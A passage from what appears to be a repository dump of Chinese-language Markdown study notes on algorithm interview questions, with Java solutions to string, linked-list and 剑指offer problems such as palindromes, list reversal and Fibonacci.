,而空间复杂度也只有O(m)。因为“暴力搜索”的方法会反复回溯主串，导致效率低下，而KMP算法可以利用已经部分匹配这个有效信息，保持主串上的指针不回溯，通过修改子串的指针，让模式串尽量地移动到有效的位置。\n\n具体算法细节请参考：\n\n- **字符串匹配的KMP算法:** http://www.ruanyifeng.com/blog/2013/05/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm.html\n- **从头到尾彻底理解KMP:** https://blog.csdn.net/v_july_v/article/details/7041827\n- **如何更好的理解和掌握 KMP 算法?:** https://www.zhihu.com/question/21923021\n- **KMP 算法详细解析:**  https://blog.sengxian.com/algorithms/kmp\n- **图解 KMP 算法:** http://blog.jobbole.com/76611/\n- **汪都能听懂的KMP字符串匹配算法【双语字幕】:** https://www.bilibili.com/video/av3246487/?from=search&seid=17173603269940723925\n- **KMP字符串匹配算法1:** https://www.bilibili.com/video/av11866460?from=search&seid=12730654434238709250\n\n**除此之外，再来了解一下BM算法！**\n\n> BM算法也是一种精确字符串匹配算法，它采用从右向左比较的方法，同时应用到了两种启发式规则，即坏字符规则 和好后缀规则 ，来决定向右跳跃的距离。基本思路就是从右往左进行字符匹配，遇到不匹配的字符后从坏字符表和好后缀表找一个最大的右移值，将模式串右移继续匹配。\n《字符串匹配的KMP算法》:http://www.ruanyifeng.com/blog/2013/05/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm.html\n\n\n## 2. 替换空格\n\n> 剑指offer：请实现一个函数，将一个字符串中的每个空格替换成“%20”。例如，当字符串为We Are Happy.则经过替换之后的字符串为We%20Are%20Happy。\n\n这里我提供了两种方法：①常规方法；②利用 API 解决。\n\n```java\n//https://www.weiweiblog.cn/replacespace/\npublic class Solution {\n\n  /**\n   * 第一种方法：常规方法。利用String.charAt(i)以及String.valueOf(char).equals(\" \"\n   * )遍历字符串并判断元素是否为空格。是则替换为\"%20\",否则不替换\n   */\n  public static String replaceSpace(StringBuffer str) {\n\n    int length = str.length();\n    // System.out.println(\"length=\" + length);\n    StringBuffer result = new StringBuffer();\n    for (int i = 0; i < length; i++) {\n      char b = str.charAt(i);\n      if (String.valueOf(b).equals(\" \")) {\n        result.append(\"%20\");\n      } else {\n        result.append(b);\n      }\n    }\n    return result.toString();\n\n  }\n\n  /**\n   * 第二种方法：利用API替换掉所用空格，一行代码解决问题\n   */\n  public static String replaceSpace2(StringBuffer str) {\n\n    return str.toString().replaceAll(\"\\\\s\", \"%20\");\n  }\n}\n\n```\n\n## 3. 最长公共前缀\n\n> Leetcode:  编写一个函数来查找字符串数组中的最长公共前缀。如果不存在公共前缀，返回空字符串 \"\"。\n\n示例 1:\n\n```\n输入: [\"flower\",\"flow\",\"flight\"]\n输出: \"fl\"\n```\n\n示例 2:\n\n```\n输入: [\"dog\",\"racecar\",\"car\"]\n输出: \"\"\n解释: 输入不存在公共前缀。\n```\n\n\n思路很简单！先利用Arrays.sort(strs)为数组排序，再将数组第一个元素和最后一个元素的字符从前往后对比即可！\n\n```java\npublic class Main {\n\tpublic static String replaceSpace(String[] strs) {\n\n\t\t// 如果检查值不合法及就返回空串\n\t\tif (!chechStrs(strs)) {\n\t\t\treturn \"\";\n\t\t}\n\t\t// 数组长度\n\t\tint len = strs.length;\n\t\t// 用于保存结果\n\t\tStringBuilder res = new StringBuilder();\n\t\t// 给字符串数组的元素按照升序排序(包含数字的话，数字会排在前面)\n\t\tArrays.sort(strs);\n\t\tint m = strs[0].length();\n\t\tint n = strs[len - 1].length();\n\t\tint num = Math.min(m, n);\n\t\tfor (int i = 0; i < num; i++) {\n\t\t\tif (strs[0].charAt(i) == strs[len - 1].charAt(i)) {\n\t\t\t\tres.append(strs[0].charAt(i));\n\t\t\t} else\n\t\t\t\tbreak;\n\n\t\t}\n\t\treturn res.toString();\n\n\t}\n\n\tprivate static boolean chechStrs(String[] strs) {\n\t\tboolean flag = false;\n\t\t// 注意：=是赋值，==是判断\n\t\tif (strs != null) {\n\t\t\t// 遍历strs检查元素值\n\t\t\tfor (int i = 0; i < strs.length; i++) {\n\t\t\t\tif (strs[i] != null && strs[i].length() != 0) {\n\t\t\t\t\tflag = true;\n\t\t\t\t} else {\n\t\t\t\t\tflag = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn flag;\n\t}\n\n\t// 测试\n\tpublic static void main(String[] args) {\n\t\tString[] strs = { \"customer\", \"car\", \"cat\" };\n\t\t// String[] strs = { \"customer\", \"car\", null };//空串\n\t\t// String[] strs = {};//空串\n\t\t// String[] strs = null;//空串\n\t\tSystem.out.println(Main.replaceSpace(strs));// c\n\t}\n}\n\n```\n\n## 4. 回文串\n\n### 4.1. 最长回文串\n\n> LeetCode:  给定一个包含大写字母和小写字母的字符串，找到通过这些字母构造成的最长的回文串。在构造过程中，请注意区分大小写。比如`\"Aa\"`不能当做一个回文字符串。注\n意:假设字符串的长度不会超过 1010。\n\n\n\n> 回文串：“回文串”是一个正读和反读都一样的字符串，比如“level”或者“noon”等等就是回文串。——百度百科  地址：https://baike.baidu.com/item/%E5%9B%9E%E6%96%87%E4%B8%B2/1274921?fr=aladdin\n\n示例 1:\n\n```\n输入:\n\"abccccdd\"\n\n输出:\n7\n\n解释:\n我们可以构造的最长的回文串是\"dccaccd\", 它的长度是 7。\n```\n\n我们上面已经知道了什么是回文串？现在我们考虑一下可以构成回文串的两种情况：\n\n- 字符出现次数为双数的组合\n- 字符出现次数为双数的组合+一个只出现一次的字符\n\n统计字符出现的次数即可，双数才能构成回文。因为允许中间一个数单独出现，比如“abcba”，所以如果最后有字母落单，总长度可以加 1。首先将字符串转变为字符数组。然后遍历该数组，判断对应字符是否在hashset中，如果不在就加进去，如果在就让count++，然后移除该字符！这样就能找到出现次数为双数的字符个数。\n\n```java\n//https://leetcode-cn.com/problems/longest-palindrome/description/\nclass Solution {\n  public  int longestPalindrome(String s) {\n    if (s.length() == 0)\n      return 0;\n    // 用于存放字符\n    HashSet<Character> hashset = new HashSet<Character>();\n    char[] chars = s.toCharArray();\n    int count = 0;\n    for (int i = 0; i < chars.length; i++) {\n      if (!hashset.contains(chars[i])) {// 如果hashset没有该字符就保存进去\n        hashset.add(chars[i]);\n      } else {// 如果有,就让count++（说明找到了一个成对的字符），然后把该字符移除\n        hashset.remove(chars[i]);\n        count++;\n      }\n    }\n    return hashset.isEmpty() ? count * 2 : count * 2 + 1;\n  }\n}\n```\n\n\n### 4.2. 验证回文串\n\n> LeetCode: 给定一个字符串，验证它是否是回文串，只考虑字母和数字字符，可以忽略字母的大小写。 说明：本题中，我们将空字符串定义为有效的回文串。\n\n示例 1:\n\n```\n输入: \"A man, a plan, a canal: Panama\"\n输出: true\n```\n\n示例 2:\n\n```\n输入: \"race a car\"\n输出: false\n```\n\n```java\n//https://leetcode-cn.com/problems/valid-palindrome/description/\nclass Solution {\n  public  boolean isPalindrome(String s) {\n    if (s.length() == 0)\n      return true;\n    int l = 0, r = s.length() - 1;\n    while (l < r) {\n      // 从头和尾开始向中间遍历\n      if (!Character.isLetterOrDigit(s.charAt(l))) {// 字符不是字母和数字的情况\n        l++;\n      } else if (!Character.isLetterOrDigit(s.charAt(r))) {// 字符不是字母和数字的情况\n        r--;\n      } else {\n        // 判断二者是否相等\n        if (Character.toLowerCase(s.charAt(l)) != Character.toLowerCase(s.charAt(r)))\n          return false;\n        l++;\n        r--;\n      }\n    }\n    return true;\n  }\n}\n```\n\n\n### 4.3. 最长回文子串\n\n> Leetcode: LeetCode: 最长回文子串 给定一个字符串 s，找到 s 中最长的回文子串。你可以假设 s 的最大长度为1000。\n\n示例 1：\n\n```\n输入: \"babad\"\n输出: \"bab\"\n注意: \"aba\"也是一个有效答案。\n```\n\n示例 2：\n\n```\n输入: \"cbbd\"\n输出: \"bb\"\n```\n\n以某个元素为中心，分别计算偶数长度的回文最大长度和奇数长度的回文最大长度。给大家大致花了个草图，不要嫌弃！\n\n\n![](https://user-gold-cdn.xitu.io/2018/9/9/165bc32f6f1833ff?w=723&h=371&f=png&s=9305)\n\n```java\n//https://leetcode-cn.com/problems/longest-palindromic-substring/description/\nclass Solution {\n  private int index, len;\n\n  public String longestPalindrome(String s) {\n    if (s.length() < 2)\n      return s;\n    for (int i = 0; i < s.length() - 1; i++) {\n      PalindromeHelper(s, i, i);\n      PalindromeHelper(s, i, i + 1);\n    }\n    return s.substring(index, index + len);\n  }\n\n  public void PalindromeHelper(String s, int l, int r) {\n    while (l >= 0 && r < s.length() && s.charAt(l) == s.charAt(r)) {\n      l--;\n      r++;\n    }\n    if (len < r - l - 1) {\n      index = l + 1;\n      len = r - l - 1;\n    }\n  }\n}\n```\n\n### 4.4. 最长回文子序列\n\n> LeetCode: 最长回文子序列\n给定一个字符串s，找到其中最长的回文子序列。可以假设s的最大长度为1000。\n**最长回文子序列和上一题最长回文子串的区别是，子串是字符串中连续的一个序列，而子序列是字符串中保持相对位置的字符序列，例如，\"bbbb\"可以是字符串\"bbbab\"的子序列但不是子串。**\n\n给定一个字符串s，找到其中最长的回文子序列。可以假设s的最大长度为1000。\n\n示例 1:\n\n```\n输入:\n\"bbbab\"\n输出:\n4\n```\n一个可能的最长回文子序列为 \"bbbb\"。\n\n示例 2:\n\n```\n输入:\n\"cbbd\"\n输出:\n2\n```\n\n一个可能的最长回文子序列为 \"bb\"。\n\n**动态规划：**  dp[i][j] = dp[i+1][j-1] + 2 if s.charAt(i) == s.charAt(j) otherwise, dp[i][j] = Math.max(dp[i+1][j], dp[i][j-1])\n\n```java\nclass Solution {\n    public int longestPalindromeSubseq(String s) {\n        int len = s.length();\n        int [][] dp = new int[len][len];\n        for(int i = len - 1; i>=0; i--){\n            dp[i][i] = 1;\n            for(int j = i+1; j < len; j++){\n                if(s.charAt(i) == s.charAt(j))\n                    dp[i][j] = dp[i+1][j-1] + 2;\n                else\n                    dp[i][j] = Math.max(dp[i+1][j], dp[i][j-1]);\n            }\n        }\n        return dp[0][len-1];\n    }\n}\n```\n\n## 5. 括号匹配深度\n\n> 爱奇艺 2018 秋招 Java：\n>一个合法的括号匹配序列有以下定义:\n>1. 空串\"\"是一个合法的括号匹配序列\n>2.  如果\"X\"和\"Y\"都是合法的括号匹配序列,\"XY\"也是一个合法的括号匹配序列\n>3. 如果\"X\"是一个合法的括号匹配序列,那么\"(X)\"也是一个合法的括号匹配序列\n>4. 每个合法的括号序列都可以由以上规则生成。\n\n> 例如: \"\",\"()\",\"()()\",\"((()))\"都是合法的括号序列\n>对于一个合法的括号序列我们又有以下定义它的深度:\n>1. 空串\"\"的深度是0\n>2. 如果字符串\"X\"的深度是x,字符串\"Y\"的深度是y,那么字符串\"XY\"的深度为max(x,y)   \n>3. 如果\"X\"的深度是x,那么字符串\"(X)\"的深度是x+1\n\n> 例如: \"()()()\"的深度是1,\"((()))\"的深度是3。牛牛现在给你一个合法的括号序列,需要你计算出其深度。 \n\n```\n输入描述:\n输入包括一个合法的括号序列s,s长度length(2 ≤ length ≤ 50),序列中只包含'('和')'。\n\n输出描述:\n输出一个正整数,即这个序列的深度。\n```\n\n示例：\n\n```\n输入:\n(())\n输出:\n2\n```\n\n思路草图：\n\n\n![](https://user-gold-cdn.xitu.io/2018/9/9/165bc6fca94ef278?w=792&h=324&f=png&s=15868)\n\n代码如下：\n\n```java\nimport java.util.Scanner;\n\n/**\n * https://www.nowcoder.com/test/8246651/summary\n * \n * @author Snailclimb\n * @date 2018年9月6日\n * @Description: TODO 求给定合法括号序列的深度\n */\npublic class Main {\n  public static void main(String[] args) {\n    Scanner sc = new Scanner(System.in);\n    String s = sc.nextLine();\n    int cnt = 0, max = 0, i;\n    for (i = 0; i < s.length(); ++i) {\n      if (s.charAt(i) == '(')\n        cnt++;\n      else\n        cnt--;\n      max = Math.max(max, cnt);\n    }\n    sc.close();\n    System.out.println(max);\n  }\n}\n\n```\n\n## 6. 把字符串转换成整数\n\n> 剑指offer:  将一个字符串转换成一个整数(实现Integer.valueOf(string)的功能，但是string不符合数字要求时返回0)，要求不能使用字符串转换整数的库函数。 数值为0或者字符串不是一个合法的数值则返回0。\n\n```java\n//https://www.weiweiblog.cn/strtoint/\npublic class Main {\n\n  public static int StrToInt(String str) {\n    if (str.length() == 0)\n      return 0;\n    char[] chars = str.toCharArray();\n    // 判断是否存在符号位\n    int flag = 0;\n    if (chars[0] == '+')\n      flag = 1;\n    else if (chars[0] == '-')\n      flag = 2;\n    int start = flag > 0 ? 1 : 0;\n    int res = 0;// 保存结果\n    for (int i = start; i < chars.length; i++) {\n      if (Character.isDigit(chars[i])) {// 调用Character.isDigit(char)方法判断是否是数字，是返回True，否则False\n        int temp = chars[i] - '0';\n        res = res * 10 + temp;\n      } else {\n        return 0;\n      }\n    }\n    return flag == 1 ? res : -res;\n\n  }\n\n  public static void main(String[] args) {\n    // TODO Auto-generated method stub\n    String s = \"-12312312\";\n    System.out.println(\"使用库函数转换：\" + Integer.valueOf(s));\n    int res = Main.StrToInt(s);\n    System.out.println(\"使用自己写的方法转换：\" + res);\n\n  }\n\n}\n\n```\n"
  },
  {
    "path": "docs/dataStructures-algorithms/几道常见的链表算法题.md",
    "content": "<!-- MarkdownTOC -->\n\n- [1. 两数相加](#1-两数相加)\n  - [题目描述](#题目描述)\n  - [问题分析](#问题分析)\n  - [Solution](#solution)\n- [2. 翻转链表](#2-翻转链表)\n  - [题目描述](#题目描述-1)\n  - [问题分析](#问题分析-1)\n  - [Solution](#solution-1)\n- [3. 链表中倒数第k个节点](#3-链表中倒数第k个节点)\n  - [题目描述](#题目描述-2)\n  - [问题分析](#问题分析-2)\n  - [Solution](#solution-2)\n- [4. 删除链表的倒数第N个节点](#4-删除链表的倒数第n个节点)\n  - [问题分析](#问题分析-3)\n  - [Solution](#solution-3)\n- [5. 合并两个排序的链表](#5-合并两个排序的链表)\n  - [题目描述](#题目描述-3)\n  - [问题分析](#问题分析-4)\n  - [Solution](#solution-4)\n\n<!-- /MarkdownTOC -->\n\n\n# 1. 两数相加\n\n### 题目描述\n\n> Leetcode:给定两个非空链表来表示两个非负整数。位数按照逆序方式存储，它们的每个节点只存储单个数字。将两数相加返回一个新的链表。\n>\n>你可以假设除了数字 0 之外，这两个数字都不会以零开头。\n\n示例：\n\n```\n输入：(2 -> 4 -> 3) + (5 -> 6 -> 4)\n输出：7 -> 0 -> 8\n原因：342 + 465 = 807\n```\n\n### 问题分析\n\nLeetcode官方详细解答地址：\n\n https://leetcode-cn.com/problems/add-two-numbers/solution/\n\n> 要对头结点进行操作时，考虑创建哑节点dummy，使用dummy->next表示真正的头节点。这样可以避免处理头节点为空的边界问题。\n\n我们使用变量来跟踪进位，并从包含最低有效位的表头开始模拟逐\n位相加的过程。\n\n![图1，对两数相加方法的可视化: 342 + 465 = 807342+465=807， 每个结点都包含一个数字，并且数字按位逆序存储。](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-20/34910956.jpg)\n\n### Solution\n\n**我们首先从最低有效位也就是列表 l1和 l2 的表头开始相加。注意需要考虑到进位的情况！**\n\n```java\n/**\n * Definition for singly-linked list.\n * public class ListNode {\n *     int val;\n *     ListNode next;\n *     ListNode(int x) { val = x; }\n * }\n */\n //https://leetcode-cn.com/problems/add-two-numbers/description/\nclass Solution {\npublic ListNode addTwoNumbers(ListNode l1, ListNode l2) {\n    ListNode dummyHead = new ListNode(0);\n    ListNode p = l1, q = l2, curr = dummyHead;\n    //carry 表示进位数\n    int carry = 0;\n    while (p != null || q != null) {\n        int x = (p != null) ? p.val : 0;\n        int y = (q != null) ? q.val : 0;\n        int sum = carry + x + y;\n        //进位数\n        carry = sum / 10;\n        //新节点的数值为sum % 10\n        curr.next = new ListNode(sum % 10);\n        curr = curr.next;\n        if (p != null) p = p.next;\n        if (q != null) q = q.next;\n    }\n    if (carry > 0) {\n        curr.next = new ListNode(carry);\n    }\n    return dummyHead.next;\n}\n}\n```\n\n# 2. 翻转链表\n\n\n### 题目描述\n> 剑指 offer:输入一个链表，反转链表后，输出链表的所有元素。\n\n![翻转链表](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-20/81431871.jpg)\n\n### 问题分析\n\n这道算法题，说直白点就是：如何让后一个节点指向前一个节点！在下面的代码中定义了一个 next 节点，该节点主要是保存要反转到头的那个节点，防止链表 “断裂”。\n\n### Solution\n\n\n```java\npublic class ListNode {\n  int val;\n  ListNode next = null;\n\n  ListNode(int val) {\n    this.val = val;\n  }\n}\n```\n\n```java\n/**\n * \n * @author Snailclimb\n * @date 2018年9月19日\n * @Description: TODO\n */\npublic class Solution {\n\n  public ListNode ReverseList(ListNode head) {\n\n    ListNode next = null;\n    ListNode pre = null;\n\n    while (head != null) {\n      // 保存要反转到头的那个节点\n      next = head.next;\n      // 要反转的那个节点指向已经反转的上一个节点(备注:第一次反转的时候会指向null)\n      head.next = pre;\n      // 上一个已经反转到头部的节点\n      pre = head;\n      // 一直向链表尾走\n      head = next;\n    }\n    return pre;\n  }\n\n}\n```\n\n测试方法：\n\n```java\n  public static void main(String[] args) {\n\n    ListNode a = new ListNode(1);\n    ListNode b = new ListNode(2);\n    ListNode c = new ListNode(3);\n    ListNode d = new ListNode(4);\n    ListNode e = new ListNode(5);\n    a.next = b;\n    b.next = c;\n    c.next = d;\n    d.next = e;\n    new Solution().ReverseList(a);\n    while (e != null) {\n      System.out.println(e.val);\n      e = e.next;\n    }\n  }\n```\n\n输出：\n\n```\n5\n4\n3\n2\n1\n```\n\n# 3. 链表中倒数第k个节点\n\n### 题目描述\n\n> 剑指offer: 输入一个链表，输出该链表中倒数第k个结点。\n\n### 问题分析\n\n> **链表中倒数第k个节点也就是正数第(L-K+1)个节点，知道了只一点，这一题基本就没问题！**\n\n首先两个节点/指针，一个节点 node1 先开始跑，指针 node1 跑到 k-1 个节点后，另一个节点 node2 开始跑，当 node1 跑到最后时，node2 所指的节点就是倒数第k个节点也就是正数第(L-K+1)个节点。\n\n\n### Solution\n\n```java\n/*\npublic class ListNode {\n    int val;\n    ListNode next = null;\n\n    ListNode(int val) {\n        this.val = val;\n    }\n}*/\n\n// 时间复杂度O(n),一次遍历即可\n// https://www.nowcoder.com/practice/529d3ae5a407492994ad2a246518148a?tpId=13&tqId=11167&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking\npublic class Solution {\n  public ListNode FindKthToTail(ListNode head, int k) {\n    // 如果链表为空或者k小于等于0\n    if (head == null || k <= 0) {\n      return null;\n    }\n    // 声明两个指向头结点的节点\n    ListNode node1 = head, node2 = head;\n    // 记录节点的个数\n    int count = 0;\n    // 记录k值，后面要使用\n    int index = k;\n    // p指针先跑，并且记录节点数，当node1节点跑了k-1个节点后，node2节点开始跑，\n    // 当node1节点跑到最后时，node2节点所指的节点就是倒数第k个节点\n    while (node1 != null) {\n      node1 = node1.next;\n      count++;\n      if (k < 1 && node1 != null) {\n        node2 = node2.next;\n      }\n      k--;\n    }\n    // 如果节点个数小于所求的倒数第k个节点，则返回空\n    if (count < index)\n      return null;\n    return node2;\n\n  }\n}\n```\n\n\n# 4. 删除链表的倒数第N个节点\n\n\n> Leetcode:给定一个链表，删除链表的倒数第 n 个节点，并且返回链表的头结点。\n\n**示例：**\n\n```\n给定一个链表: 1->2->3->4->5, 和 n = 2.\n\n当删除了倒数第二个节点后，链表变为 1->2->3->5.\n\n```\n\n**说明：**\n\n给定的 n 保证是有效的。\n\n**进阶：**\n\n你能尝试使用一趟扫描实现吗？\n\n该题在 leetcode 上有详细解答，具体可参考 Leetcode.\n\n### 问题分析\n\n\n我们注意到这个问题可以容易地简化成另一个问题：删除从列表开头数起的第 (L - n + 1)个结点，其中 L是列表的长度。只要我们找到列表的长度 L，这个问题就很容易解决。\n\n![图 1. 删除列表中的第 L - n + 1 个元素](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-20/94354387.jpg)\n\n### Solution\n\n**两次遍历法**\n\n首先我们将添加一个 **哑结点** 作为辅助，该结点位于列表头部。哑结点用来简化某些极端情况，例如列表中只含有一个结点，或需要删除列表的头部。在第一次遍历中，我们找出列表的长度 L。然后设置一个指向哑结点的指针，并移动它遍历列表，直至它到达第 (L - n) 个结点那里。**我们把第 (L - n)个结点的 next 指针重新链接至第 (L - n + 2)个结点，完成这个算法。**\n\n```java\n/**\n * Definition for singly-linked list.\n * public class ListNode {\n *     int val;\n *     ListNode next;\n *     ListNode(int x) { val = x; }\n * }\n */\n// https://leetcode-cn.com/problems/remove-nth-node-from-end-of-list/description/\npublic class Solution {\n  public ListNode removeNthFromEnd(ListNode head, int n) {\n    // 哑结点，哑结点用来简化某些极端情况，例如列表中只含有一个结点，或需要删除列表的头部\n    ListNode dummy = new ListNode(0);\n    // 哑结点指向头结点\n    dummy.next = head;\n    // 保存链表长度\n    int length = 0;\n    ListNode len = head;\n    while (len != null) {\n      length++;\n      len = len.next;\n    }\n    length = length - n;\n    ListNode target = dummy;\n    // 找到 L-n 位置的节点\n    while (length > 0) {\n      target = target.next;\n      length--;\n    }\n    // 把第 (L - n)个结点的 next 指针重新链接至第 (L - n + 2)个结点\n    target.next = target.next.next;\n    return dummy.next;\n  }\n}\n```\n\n**复杂度分析：**\n\n- **时间复杂度 O(L)** ：该算法对列表进行了两次遍历，首先计算了列表的长度 LL 其次找到第 (L - n)(L−n) 个结点。 操作执行了 2L-n2L−n 步，时间复杂度为 O(L)O(L)。\n- **空间复杂度 O(1)** ：我们只用了常量级的额外空间。 \n\n\n\n**进阶——一次遍历法：**\n\n\n> **链表中倒数第N个节点也就是正数第(L-N+1)个节点。\n\n其实这种方法就和我们上面第四题找“链表中倒数第k个节点”所用的思想是一样的。**基本思路就是：**  定义两个节点 node1、node2;node1 节点先跑，node1节点 跑到第 n+1 个节点的时候,node2 节点开始跑.当node1 节点跑到最后一个节点时，node2 节点所在的位置就是第 （L-n ） 个节点（L代表总链表长度，也就是倒数第 n+1 个节点）\n\n```java\n/**\n * Definition for singly-linked list.\n * public class ListNode {\n *     int val;\n *     ListNode next;\n *     ListNode(int x) { val = x; }\n * }\n */\npublic class Solution {\n  public ListNode removeNthFromEnd(ListNode head, int n) {\n\n    ListNode dummy = new ListNode(0);\n    dummy.next = head;\n    // 声明两个指向头结点的节点\n    ListNode node1 = dummy, node2 = dummy;\n\n    // node1 节点先跑，node1节点 跑到第 n 个节点的时候,node2 节点开始跑\n    // 当node1 节点跑到最后一个节点时，node2 节点所在的位置就是第 （L-n ） 个节点，也就是倒数第 n+1（L代表总链表长度）\n    while (node1 != null) {\n      node1 = node1.next;\n      if (n < 1 && node1 != null) {\n        node2 = node2.next;\n      }\n      n--;\n    }\n\n    node2.next = node2.next.next;\n\n    return dummy.next;\n\n  }\n}\n```\n\n\n\n\n\n# 5. 合并两个排序的链表\n\n### 题目描述\n\n> 剑指offer:输入两个单调递增的链表，输出两个链表合成后的链表，当然我们需要合成后的链表满足单调不减规则。\n\n### 问题分析\n\n我们可以这样分析: \n\n1. 假设我们有两个链表 A,B； \n2. A的头节点A1的值与B的头结点B1的值比较，假设A1小，则A1为头节点； \n3. A2再和B1比较，假设B1小,则，A1指向B1； \n4. A2再和B2比较\n就这样循环往复就行了，应该还算好理解。\n\n考虑通过递归的方式实现！\n\n### Solution\n\n**递归版本：**\n\n```java\n/*\npublic class ListNode {\n    int val;\n    ListNode next = null;\n\n    ListNode(int val) {\n        this.val = val;\n    }\n}*/\n//https://www.nowcoder.com/practice/d8b6b4358f774294a89de2a6ac4d9337?tpId=13&tqId=11169&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking\npublic class Solution {\npublic ListNode Merge(ListNode list1,ListNode list2) {\n       if(list1 == null){\n           return list2;\n       }\n       if(list2 == null){\n           return list1;\n       }\n       if(list1.val <= list2.val){\n           list1.next = Merge(list1.next, list2);\n           return list1;\n       }else{\n           list2.next = Merge(list1, list2.next);\n           return list2;\n       }       \n   }\n}\n```\n\n"
  },
  {
    "path": "docs/dataStructures-algorithms/剑指offer部分编程题.md",
    "content": "### 一 斐波那契数列\n\n#### **题目描述：**\n\n大家都知道斐波那契数列，现在要求输入一个整数n，请你输出斐波那契数列的第n项。\nn<=39\n\n#### **问题分析：**\n\n可以肯定的是这一题通过递归的方式是肯定能做出来，但是这样会有一个很大的问题，那就是递归大量的重复计算会导致内存溢出。另外可以使用迭代法，用fn1和fn2保存计算过程中的结果，并复用起来。下面我会把两个方法示例代码都给出来并给出两个方法的运行时间对比。\n\n#### **示例代码：**\n\n**采用迭代法：**\n\n```java\n  int Fibonacci(int number) {\n\t\t\tif (number <= 0) {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tif (number == 1 || number == 2) {\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\tint first = 1, second = 1, third = 0;\n\t\t\tfor (int i = 3; i <= number; i++) {\n\t\t\t\tthird = first + second;\n\t\t\t\tfirst = second;\n\t\t\t\tsecond = third;\n\t\t\t}\n\t\t\treturn third;\n\t\t}\n```\n\n**采用递归：**\n\n```java\n\t\t public int Fibonacci(int n) {\n           \n\t\t\tif (n <= 0) {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tif (n == 1||n==2) {\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\treturn Fibonacci(n - 2) + Fibonacci(n - 1);\n\n\t\t}\n```\n\n#### **运行时间对比：**\n\n假设n为40我们分别使用迭代法和递归法计算，计算结果如下：\n\n1. 迭代法\n   ![迭代法](https://ws1.sinaimg.cn/large/006rNwoDgy1fpydt5as85j308a025dfl.jpg)\n2. 递归法\n   ![递归法](https://ws1.sinaimg.cn/large/006rNwoDgy1fpydt2d1k3j30ed02kt8i.jpg)\n\n### 二 跳台阶问题\n\n#### **题目描述：**\n\n一只青蛙一次可以跳上1级台阶，也可以跳上2级。求该青蛙跳上一个n级的台阶总共有多少种跳法。\n\n#### **问题分析：**\n\n**正常分析法：**\na.如果两种跳法，1阶或者2阶，那么假定第一次跳的是一阶，那么剩下的是n-1个台阶，跳法是f(n-1);\nb.假定第一次跳的是2阶，那么剩下的是n-2个台阶，跳法是f(n-2)\nc.由a，b假设可以得出总跳法为: f(n) = f(n-1) + f(n-2) \nd.然后通过实际的情况可以得出：只有一阶的时候 f(1) = 1 ,只有两阶的时候可以有 f(2) = 2\n**找规律分析法：**\nf(1) = 1, f(2) = 2, f(3) = 3, f(4) = 5，  可以总结出f(n) = f(n-1) + f(n-2)的规律。\n但是为什么会出现这样的规律呢？假设现在6个台阶，我们可以从第5跳一步到6，这样的话有多少种方案跳到5就有多少种方案跳到6，另外我们也可以从4跳两步跳到6，跳到4有多少种方案的话，就有多少种方案跳到6，其他的不能从3跳到6什么的啦，所以最后就是f(6) = f(5) + f(4)；这样子也很好理解变态跳台阶的问题了。\n\n**所以这道题其实就是斐波那契数列的问题。**\n代码只需要在上一题的代码稍做修改即可。和上一题唯一不同的就是这一题的初始元素变为 1 2 3 5 8.....而上一题为1 1 2  3 5 .......。另外这一题也可以用递归做，但是递归效率太低，所以我这里只给出了迭代方式的代码。\n\n#### **示例代码：**\n\n```java\n\tint jumpFloor(int number) {\n\t\t\tif (number <= 0) {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tif (number == 1) {\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\tif (number == 2) {\n\t\t\t\treturn 2;\n\t\t\t}\n\t\t\tint first = 1, second = 2, third = 0;\n\t\t\tfor (int i = 3; i <= number; i++) {\n\t\t\t\tthird = first + second;\n\t\t\t\tfirst = second;\n\t\t\t\tsecond = third;\n\t\t\t}\n\t\t\treturn third;\n\t\t}\n```\n\n### 三 变态跳台阶问题\n\n#### **题目描述：**\n\n一只青蛙一次可以跳上1级台阶，也可以跳上2级……它也可以跳上n级。求该青蛙跳上一个n级的台阶总共有多少种跳法。\n\n#### **问题分析：**\n\n假设n>=2，第一步有n种跳法：跳1级、跳2级、到跳n级\n跳1级，剩下n-1级，则剩下跳法是f(n-1)\n跳2级，剩下n-2级，则剩下跳法是f(n-2)\n......\n跳n-1级，剩下1级，则剩下跳法是f(1)\n跳n级，剩下0级，则剩下跳法是f(0)\n所以在n>=2的情况下：\nf(n)=f(n-1)+f(n-2)+...+f(1)\n因为f(n-1)=f(n-2)+f(n-3)+...+f(1)\n所以f(n)=2*f(n-1) 又f(1)=1,所以可得**f(n)=2^(number-1)**\n\n#### **示例代码：**\n\n```java\n     int JumpFloorII(int number) {\n\t\treturn 1 << --number;//2^(number-1)用位移操作进行，更快\n\t}\n```\n\n#### **补充：**\n\n**java中有三种移位运算符：**\n\n1. “<<” :     **左移运算符**，等同于乘2的n次方\n2. “>>”:     **右移运算符**，等同于除2的n次方\n3. “>>>” **无符号右移运算符**，不管移动前最高位是0还是1，右移后左侧产生的空位部分都以0来填充。与>>类似。\n   例：\n    int a = 16;\n    int b = a << 2;//左移2，等同于16 * 2的2次方，也就是16 * 4\n    int c = a >> 2;//右移2，等同于16 / 2的2次方，也就是16 / 4\n\n### 四 二维数组查找\n\n#### **题目描述：**\n\n在一个二维数组中，每一行都按照从左到右递增的顺序排序，每一列都按照从上到下递增的顺序排序。请完成一个函数，输入这样的一个二维数组和一个整数，判断数组中是否含有该整数。\n\n#### **问题解析：**\n\n这一道题还是比较简单的，我们需要考虑的是如何做，效率最快。这里有一种很好理解的思路：\n\n> 矩阵是有序的，从左下角来看，向上数字递减，向右数字递增，\n>    因此从左下角开始查找，当要查找数字比左下角数字大时。右移\n>     要查找数字比左下角数字小时，上移。这样找的速度最快。\n\n#### **示例代码：**\n\n```java\n    public boolean Find(int target, int [][] array) {\n        //基本思路从左下角开始找，这样速度最快\n       int row = array.length-1;//行\n        int column = 0;//列\n        //当行数大于0，当前列数小于总列数时循环条件成立\n        while((row >= 